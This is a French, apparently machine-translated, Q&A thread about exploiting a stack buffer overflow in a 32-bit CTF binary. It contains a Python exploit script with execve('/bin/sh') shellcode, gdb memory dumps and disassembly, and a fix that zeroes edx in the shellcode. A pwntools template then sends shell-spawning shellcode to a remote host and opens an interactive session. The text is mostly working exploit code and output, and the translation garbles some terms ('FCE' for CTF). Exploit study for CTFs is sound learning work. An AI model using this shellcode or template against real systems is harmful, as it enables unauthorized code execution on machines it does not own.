J'ai commencé à apprendre à briser la pile après son apparition lors d'un exercice de la FCE. Je m'entraîne sur un exécutable ELF 32 bits que j'ai reçu pour le CTF.
Après avoir désassemblé le fichier binaire, je trouve que le programme charge et écrit une invite et lit ensuite l'entrée sans vérifier la longueur, à l'aide de syscalls (pas de fonctions de bibliothèque).
Je le pousse un peu et je trouve que le tampon contient 20 "A" avant de planter, alors je remplis le tampon, suivi de l'adresse d'un nop-slide qui mène à mon code.
#!/usr/bin/env python2
import struct
pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# http://Shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode
Au début, la charge utile n'était qu'un appel système pour écrire "ABCD" sur l'écran, ce qui s'est déclenché avec succès.
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0xc0315490
0xbffffec4: 0xc931db31 0x4168d231 0x89444342 0xb305b2e1
0xbffffed4: 0xcd04b001 0x40c03180 0x000a80cd 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]
J'ai ensuite essayé un shellcode, avec un appel pour exécuter/bin/sh, et il semble que la charge utile ait été chargée, mais, après avoir exécuté le code, aucun shell n'apparaît.
(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffeb4: 0x41414141 0xbffffebc 0x90909090 0x50c03190
0xbffffec4: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350
0xbffffed4: 0x80cd0bb0 0x0000000a 0x00000020 0xb7fff868
0xbffffee4: 0x00000021 0xb7fff000 0x00000010 0x178bfbff
0xbffffef4: 0x00000006 0x00001000 0x00000011 0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
eip = 0x804809c in _start; saved eip = 0xbffffebc
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0xbffffebc
Saved registers:
eip at 0xbffffeb8
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24
0xbffffec0: nop
0xbffffec1: xor %eax,%eax
0xbffffec3: Push %eax
0xbffffec4: Push $0x68732f2f
0xbffffec9: Push $0x6e69622f
0xbffffece: mov %esp,%ebx
0xbffffed0: Push %eax
0xbffffed1: Push %ebx
0xbffffed2: mov %esp,%ecx
0xbffffed4: mov $0xb,%al
0xbffffed6: int $0x80
=> 0xbffffed8: or (%eax),%al
0xbffffeda: add %al,(%eax)
0xbffffedc: and %al,(%eax)
0xbffffede: add %al,(%eax)
Le fichier n'est pas protégé par la pile ou indépendant de la position.
hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: unknown, no protectable libc functions used
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: unknown, no -fcf-protection instructions found!
Ce sont mes seuls vars d'environnement:
(gdb) show env
PWD=/root/Scripts
Shell=/bin/bash
SHLVL=0
De toute évidence, il me manque quelque chose et les choses ne sont pas aussi simples que de simplement exécuter le code. Que puis-je faire pour faire apparaître un Shell compte tenu de mes contraintes?
Le shellcode que vous utilisez:
0xbffffec1: xor %eax,%eax
0xbffffec3: Push %eax
0xbffffec4: Push $0x68732f2f
0xbffffec9: Push $0x6e69622f
0xbffffece: mov %esp,%ebx
0xbffffed0: Push %eax
0xbffffed1: Push %ebx
0xbffffed2: mov %esp,%ecx
0xbffffed4: mov $0xb,%al
0xbffffed6: int $0x80
fait en fait execve("/bin//sh",$ecx,$edx)
mais il ne prend pas soin de définir $edx
pour qu'il soit NULL ou un pointeur vers un tableau de pointeurs.
Vous pouvez vérifier que c'est le problème avec info registers
Dans GDB.
Pour résoudre le problème, vous pouvez ajouter un xor %edx,%edx
(Qui est des octets 0x31, 0xd2
) N'importe où avant le int $0x80
(En prenant soin d'insérer à la limite d'une instruction, dites avant le 0xcd, 0x80
) et cela devrait fonctionner.
Vous avez dit que le binaire utilise des appels système pour effectuer la lecture qui déborde le tampon, vous n'avez donc pas à vous soucier des valeurs d'octets de vos instructions (certaines fonctions comme strcpy
ou gets
arrêtera de copier les octets lorsqu'ils atteindront des octets nuls ou des octets 0x0A).
Dans pwn
, vous utiliseriez (l'assemblage de syntaxe Intel et la fonction asm):
from pwn import asm
shellcode = asm("""
xor eax,eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
Push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")
Vous pouvez également le voir sous forme d'octets:
print(disasm(shellcode))
0: 31 c0 xor eax, eax
2: 50 Push eax
3: 68 2f 2f 73 68 Push 0x68732f2f
8: 68 2f 62 69 6e Push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 Push eax
10: 53 Push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
Je suis aussi un joueur de la FCE et j'adore BoF. Veuillez d'abord vérifier cela, cela vous aidera pour BoF, aussi facile pour vous de générer un Shell: https://github.com/Gallopsled/pwntools
Si vous souhaitez générer un shell à l'aide de pwntools, il existe un exemple de code comme celui-ci:
from pwn import *
context(Arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
Dans votre cas, vous devez vérifier s'il existe une fonction Shell disponible dans l'application utilisant Radare2, sinon vous devez l'écraser. Voici quelques ressources sur le fonctionnement de pwntools:
https://github.com/mishrasunny174/encrypt-ctf/tree/master/pwn/x86